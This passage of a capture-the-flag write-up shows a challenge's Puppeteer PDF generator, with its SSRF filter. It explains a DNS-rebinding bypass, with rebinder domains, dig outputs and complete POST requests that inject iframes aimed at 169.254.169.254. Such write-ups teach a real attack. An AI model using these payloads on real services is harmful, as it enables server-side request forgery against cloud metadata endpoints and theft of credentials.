4CCvJOk4saPbH/zOrZ6ghZGMewDXuJ5wQxr3Of2IXeQxq+cTTKEcwOSFwCAQjsgwBCZh/jjJcQmI2ANkb/yOrxVkf272LGaw8JAqavUVR2ZsvLQSVGlVnTuHqLjoQ+BC7+wD7v6cAEr29cBwEIQCA7AYRMdqQ0CAEINCCg4E+Bp8SNflc9NrDD26WC3ItVPaknKPVSa3Nd7N4Zja2yMMquXSNN9rwUk3fJRELlcghAYF4CCJl5xxbPIACBfycgQaOlaWuRI9GzbE6vxWk5sYrsSy3iefvRPDpY/cFt7mj+qC4HG3yx+j11aaDn9DTeJZN3XGkNAhAYmABCZuDBw3QIQGAzAQWmi6hRgKqyBKhL4ymCR4Gs6ldWr6uaGuBudpQGhiDg2ZvzZp4ok0eBAAQgsHsCCJndTwEAQAACEIBAJwQ8L4X93GzlpZidDBhmQAACbQkgZNryp3cIQAACEIDAQkCHWOiAgVflah/+EGQQgAAEIMB7ZJgDEIAABCAAgV4IHM0Qbfh/VbQ8kZdi9jJi2AEBCDQlQEamKX46hwAEIAABCPyegPZrfengwbtkHJC4BAIQmJ8AQmb+McZDCEAAAhAYg4AOlvg6YCoZmTHGEishAIEKBBAyFSDTBQQgAAEIQMBJIHQEM5v9nSC5DAIQmJ8AQmb+McZDCEAAAhAYh8DBTP3dE3OVjdELMXmJ6jjjiaUQgEBBAgiZgnBpGgIQgAAEIJBAQHtllJnRz6Vc7JefWb0mtMctEIAABKYkgJCZclhxCgIQgAAEJiBwMB9UlYkhCzPBgOICBCCQlwBCJi9PWoMABCAAAQhAAAIQgAAEKhBAyFSATBcQgAAEIAABCEAAAhCAQF4CCJm8PGkNAhCAAAQgAAEIQAACEKhAACFTATJdQAACEIAABCAAAQhAAAJ5CSBk8vKkNQhAAAIQgAAEIAABCECgAgGETAXIdAEBCEAAAhCAAAQgAAEI5CWAkMnLk9YgAAEIQAACEIAABCAAgQoEEDIVINMFBCAAAQhAAAIQgAAEIJCXAEImL09agwAEIAABCEAAAhCAAAQqEEDIVIBMFxCAAAQgAAEIQAACEIBAXgIImbw8aQ0CEIAABCAAAQhAAAIQqEDg/wHyJ/gwPcetGAAAAABJRU5ErkJggg==" alt="Authorized Signature" style="max-width: 200px;">
</div>
</body>
</html>
`;
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.setRequestInterception(true);
page.on("request", async (request) => {
let result = await isUrlSafe(request.url());
console.log("result: " + result);
if (result) {
if (result == "169.254.169.254") {
request.respond({
status: 200,
contentType: "text/plain",
body: "WIZER{H0w_D1d_YOU_D0_Th4ttttt???}",
});
} else {
request.continue();
}
} else {
request.respond({
status: 200,
contentType: "text/plain",
body: "This request either failed, or was blocked.",
});
}
});
try {
await page.setContent(data, { timeout: 5000 }); // Set the content of the page to the HTML string
await page.pdf({ path: "certificate.pdf", format: "A4" }); // Generate a PDF from the page content
await browser.close();
res.download("certificate.pdf", "certificate.pdf");
} catch (error) {
res.json(error);
}
});
// Check if the URL is safe
async function isUrlSafe(url) {
try {
await axios.get(url, {
httpAgent: ssrfFilter(url),
httpsAgent: ssrfFilter(url),
});
} catch (error) {
console.log("BLOCKED: " + url);
return false; // Return false if there's an error making the request
}
let domain = new URL(url).hostname;
if (domain) {
await new Promise((resolve) => setTimeout(resolve, 1000));
const addresses = await dns.promises.resolve4(domain);
if (addresses) {
console.log(addresses);
return addresses[0];
}
}
return "0.0.0.0";
}
// Start the server
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`);
});
In order to get the flag we need to make the bot request 169.254.169.254
A rather simple application this time around, while this was supposed to be the hardest challenge I didn't find it very difficult you just need to be aware of a vulnerability which is a bit niche, but other than that that's the only thing.
Let's break it down.
On the /generate
endpoint we pass a name parameter which is directly injected
into the html of the page which will a later on be opened by a headless browser(a bot)
The bot is going to print the page as a pdf and returns the result to us.
Before it does that though it intercepts all requests that the browser makes and ensures that their urls pass isUrlSafe
, if they don't then they are simply blocked.
The vulnerability here is DNS Rebinding
learn more in my recent post for the hackthebox challenge saturn
DNS Rebinding
is a TOCTOU (Time Of Check, Time Of Use)
. This makes sense, because taking the example of our application a check
request is firstly done and then the actual request. The vulnerability lies in the Ability of a dns to have a realy short TTL (Time to live)
. Because this allows an automated script to hot-swap the IP the DNS will resolve to, very quickly, in between the check and actual request.
A very good website to assist in such attacks is: https://lock.cmpxchg8b.com/rebinder.html
To use this page, enter two ip addresses you would like to switch between. The hostname generated will resolve randomly to one of the addresses specified with a very low ttl
It allows to enter to IP addresses (A and B) from which it will very quickly change the generated domain's a record between the two
dig 7f000001.c0a80001.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
7f000001.c0a80001.rbndr.us. A IN 1s 192.168.0.1 192.168.10.5:53
❯ dig 7f000001.c0a80001.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
7f000001.c0a80001.rbndr.us. A IN 30s 192.168.0.1 192.168.10.5:53
❯ dig 7f000001.c0a80001.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
7f000001.c0a80001.rbndr.us. A IN 0s 127.0.0.1 192.168.10.5:53
❯ dig 7f000001.c0a80001.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
7f000001.c0a80001.rbndr.us. A IN 1s 127.0.0.1 192.168.10.5:53
❯ dig 7f000001.c0a80001.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
7f000001.c0a80001.rbndr.us. A IN 0s 127.0.0.1 192.168.10.5:53
So in order to achieve our goal we need to pass a domain that will switch between a valid and resolvable ip and 169.254.169.254
To get a valid and resolvable server you can just dig
websites that are not very big in traffic(because big sites have bot protections etc...), but just to save time in searching I used one of my own servers
Consider my server ip: 113.16.12.52
On the server we can host a working website using
$ python3 -m http.server 80
Thus if we now generate a domain with 113.16.12.52
, 169.254.169.254
as A and B
we get 71100c34.a9fea9fe.rbndr.us
. Lets double check it.
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 113.16.12.52 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 113.16.12.52 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 113.16.12.52 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 113.16.12.52 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 113.16.12.52 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
^[[ANAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 113.16.12.52 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 113.16.12.52 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 169.254.169.254 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 169.254.169.254 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 169.254.169.254 8.8.8.8:53
❯ dig 71100c34.a9fea9fe.rbndr.us
NAME TYPE CLASS TTL ADDRESS NAMESERVER
71100c34.a9fea9fe.rbndr.us. A IN 1s 113.16.12.52 8.8.8.8:53
Ok then let's chain everything together now
POST /generate HTTP/1.1
Host: 161.35.120.160:3000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 191
{"name":"<iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe>"}
Like this we create an iframe that will be rendered in the pdf and hope that we get the right timing and we get the flag in the iframe.
To improve our chances of getting the timing correct we can do something very simple. Let's just make more requests 🤣
POST /generate HTTP/1.1
Host: 161.35.120.160:3000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 1723
{"name":"<iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe><iframe src='http://71100c34.a9fea9fe.rbndr.us'></iframe>"}
By doing that we should hopefully now received a pdf with the flag inside along some other requests that may have failed.